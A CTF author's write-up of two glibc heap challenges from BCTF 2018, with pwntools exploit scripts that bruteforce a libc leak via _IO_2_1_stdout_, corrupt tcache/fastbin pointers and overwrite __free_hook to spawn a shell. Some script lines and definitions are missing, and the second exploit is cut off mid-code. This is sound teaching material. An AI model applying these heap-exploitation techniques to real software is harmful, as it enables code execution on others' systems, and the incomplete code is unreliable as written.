# BCTF 2018 three & House of Atum

26 November 2018

Hi, I am Ne0. I made two challenges `three` and `House of Atum` for `BCTF 2018`, which is held by `Blue-Lotus`. I hope that you guys enjoyed this CTF. If you like this writeup, please follow me on Github. And the challenges can be find at here

## Three

This is an easy challenge. But the number of solve is not as much as I expected. I think many people tried to use `house of roman` to solve this challenge. Here I want to tell you: House of roman is `Dead`. Don’t use it any more.

Then how do we leak the address of libc with a challenge that doesn’t have `leak` feature? Bruteforce `4 bits` to modify the `_IO_2_1_stdout_`. See the exploit below.

### Exploit

``````from pwn import *

local=1
pc='./three'
aslr=False
context.log_level=True

libc=ELF('./libc.so.6')

if local==1:
p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
sla("choice:",str(idx))

choice(1)
sa("content:",content)

def edit(idx,content):
choice(2)
sla("idx:",str(idx))
sa("content:",content)

def free(idx,c):
choice(3)
sla(":",str(idx))
sla(":",c)

if __name__ == '__main__':

free(1,'y')
free(0,'n')
edit(0,p8(0x50))
free(1,'n')
edit(2,p64(0)+p64(0x91))
for i in range(0x7):
free(1,'n')
edit(2,p64(0)+p64(0x51))
free(0,'y')
edit(2,p64(0)+p64(0x91))
free(1,'y')

# Bruteforce 4 bits to make fd point to _IO_2_1_stdout_
edit(2,p64(0)+p64(0x51)+p16(0x7760))

# Modify the flag and the write pointers
rv(8)
ru("Done")
free(0,'y')
edit(2,p64(0)+p64(0x51)+p64(libc.symbols['__free_hook']))
edit(2,p64(0)+p64(0x61)+p64(libc.symbols['__free_hook']))
free(0,'y')
edit(2,'/bin/sh\x00')
choice(3)
sla(":",str(2))
p.interactive()
``````

## House of Atum

This is a much more insteresting challenge. If you haven’t take a look at the challenge, I strongly recomend you to try it.

### Program info

This is a heap challenge too.

``````int menu(){
puts("1. new");
puts("2. edit");
puts("3. delete");
return getint();
}
``````

The bug is obvious: `UAF`. But you have only 2 chunks to get the shell. This seems impossible at the first glance. Is it?

### Exploit

The server os is `Ubuntu 18.04`, which you can judge from the version of the `libc.so.6`. So it use `tcache`.

We all know that pointers in `tcache` don’t point to a chunk itself, but at the offset of `0x10`. This is because `tcache` doesn’t check the size or other things when allocating and pointing directly to the address which user can control is more appropriate.

However , this makes it inconsistent with chunks in `fastbin` , as pointers in `fastbin` point to the chunks itself.

It’s easy than it sounds. Take a look at the `POC` below

``````void *a = malloc(0x28);
void *b = malloc(0x28);

// fill the tcache
for(int i=0; i<7 ;i++){
free(a);
}

free(b);

//What will happen with this:
free(a);
``````

Get the idea?

Before the last free, the heap is like:

`````` tcache                                 a
+-------+                    +-----------+-----------+
|       +-------------+      | prev_size |   size    |
+-------+             |      +-----------+-----------+
|       |             +------>  fd                   <-------+
+-------+                    |                       |       |
|       |                    |                       |       |
+-------+                    +------------+----------+       |
|                  |
+------------------+

fastbin                                 b
+-------+                    +-----------+-----------+
|       +-------------+      | prev_size |   size    |
+-------+             |      +-----------+-----------+
|       |             +------>  fd                   |
+-------+                    |                       |
|       |                    |                       |
+-------+                    +-----------------------+

``````

After the last free, it becomes:

`````` tcache                                 a
+-------+                    +-----------+-----------+
|       +-------------+      | prev_size |   size    |
+-------+             |      +-----------+-----------+
|       |             +------>  fd                   +-------+
+-------+                    |                       |       |
|       |                    |                       |       |
+-------+                    +-----------------------+       |
|
+---+
|
fastbin                                 a                |            b
+-------+                    +-----------+-----------+   | +-----------+-----------+
|       +-------------+      | prev_size |   size    | +-+-> prev_size |   size    |
+-------+             |      +-----------+-----------+ |   +-----------+-----------+
|       |             +------>  fd=b                 +-+   |  fd=0                 |
+-------+                    |                       |     |                       |
|       |                    |                       |     |                       |
+-------+                    +-----------------------+     +-----------------------+

``````

Oh no! The `prev_size` of `b` will be used as the `fd` of the `tcache`! And this field can be controled by us!

Well, now you know how to solve the challenge.

Final exp:

``````from pwn import *

local=1
pc='./heapme'
aslr=False
#context.log_level=True

libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

if local==1:
p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
def wrap(f):
def go(*args,**kargs):
sla("choice:",str(idx))
f(*args,**kargs)
return go
return wrap

@choice(idx=1)
sa("content:",content)

@choice(idx=2)
def edit(idx,content):
sla("idx:",str(idx))
sa("content:",content)

@choice(idx=3)
def free(idx,c):
sla(":",str(idx))
sla(":",c)

@choice(idx=4)
def show(idx):
sla(":",str(idx))

if __name__ == '__main__':
# leak heap
free(1,'y')
free(0,'y')
show(0)
ru("tent:")

# allocate a chunk at heap_addr+0x68
free(0,'y')
for i in range(7):
free(0,'n')
free(1,'y')
free(0,'y')

# create fake chunk and leak libc
free(1,'y')
edit(0,p64(0)*3+p64(0xa1))
free(0,'y')
edit(1,p64(0))
free(0,'y')
edit(1,p64(0))
free(0,'y')

for i in range(0x7):
free(0,'n')
free(0,'y')
show(0)
ru("A"*0x20)
free(0,'y')

# modify __free_hook
edit(1,p64(libc.symbols['__free_hook']))
This inconsistence is interesting and never occurs in CTFs, so I name it `House of Atum`. I think there are still many techniques that can be derived from it. I hope this challenge can bring you something.